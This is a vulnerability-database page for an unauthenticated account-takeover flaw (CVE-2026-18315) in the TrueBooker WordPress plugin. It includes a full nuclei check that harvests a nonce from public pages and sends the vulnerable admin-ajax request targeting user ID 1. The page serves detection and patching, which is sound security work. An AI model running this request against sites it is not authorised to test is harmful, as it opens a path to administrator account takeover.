HexBrain

Browse / CVEs / CVE-2026-18315

CVE-2026-18315· truebooker / truebooker-appointment-booking· CWE-639

TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass

criticalseverity
9.8CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.

Impact

Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.

Fix

Update to the latest version of the TrueBooker plugin.

How to confirm it

Send: GET /wp-content/plugins/truebooker-appointment-booking/readme.txt
Positive when: status_code == 200 and contains(body, "TrueBooker") and compare_versions(plugin_version, "<= 1.2.6")
Send: GET /
Send: GET /booking/
Send: GET /appointment/
Send: GET /schedule/
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")

Run it with nuclei: nuclei -id CVE-2026-18315 -u <target>

The full check
id: CVE-2026-18315

info:
  name: TrueBooker <= 1.2.6 - Unauthenticated Authorization Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    TrueBooker – Appointment Booking and Scheduler System WordPress plugin <= 1.2.6 contains an authorization bypass through user-controlled key caused by lack of authentication in admin_user_create_cus AJAX handler, letting unauthenticated attackers take over any user account by overwriting email and using lost-password flow, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can take over any user account, including administrators, leading to full account compromise.
  remediation: |
    Update to the latest version of the TrueBooker plugin.
  reference:
    - https://patchstack.com/database/wordpress/plugin/truebooker-appointment-booking/vulnerability/wordpress-truebooker-plugin-1-2-6-unauthenticated-authorization-bypass-through-user-controlled-key-to-account-takeover-to-truebooker-wp-user-id-parameter-vulnerability
    - https://github.com/nastar-id/CVE-2026-18315-PoC
    - https://plugins.svn.wordpress.org/truebooker-appointment-booking/tags/1.2.6/main/function_ajax.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-18315
    epss-score: 0.03026
    epss-percentile: 0.87582
    cwe-id: CWE-639
  metadata:
    verified: true
    max-request: 6
    vendor: truebooker
    product: truebooker-appointment-booking
    fofa-query: body="truebooker-appointment-booking"
    publicwww-query: "/wp-content/plugins/truebooker-appointment-booking/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,truebooker,auth-bypass,account-takeover,unauth,vkev

flow: |
  if (!http(1)) { stop(); }
  http(2);
  if (!template["nonce"]) { http(3); }
  if (!template["nonce"]) { http(4); }
  if (!template["nonce"]) { http(5); }
  if (!template["nonce"]) { stop(); }
  http(6);

http:
  - raw:
      - |
        GET /wp-content/plugins/truebooker-appointment-booking/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "TrueBooker")'
          - 'compare_versions(plugin_version, "<= 1.2.6")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /booking/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /appointment/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        GET /schedule/ HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'ajax_object\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=admin_user_create&security={{nonce}}&alldata=truebooker_wp_user_id%3D1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "fname-error-front", "tba-popconfirm", "truebooker_error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from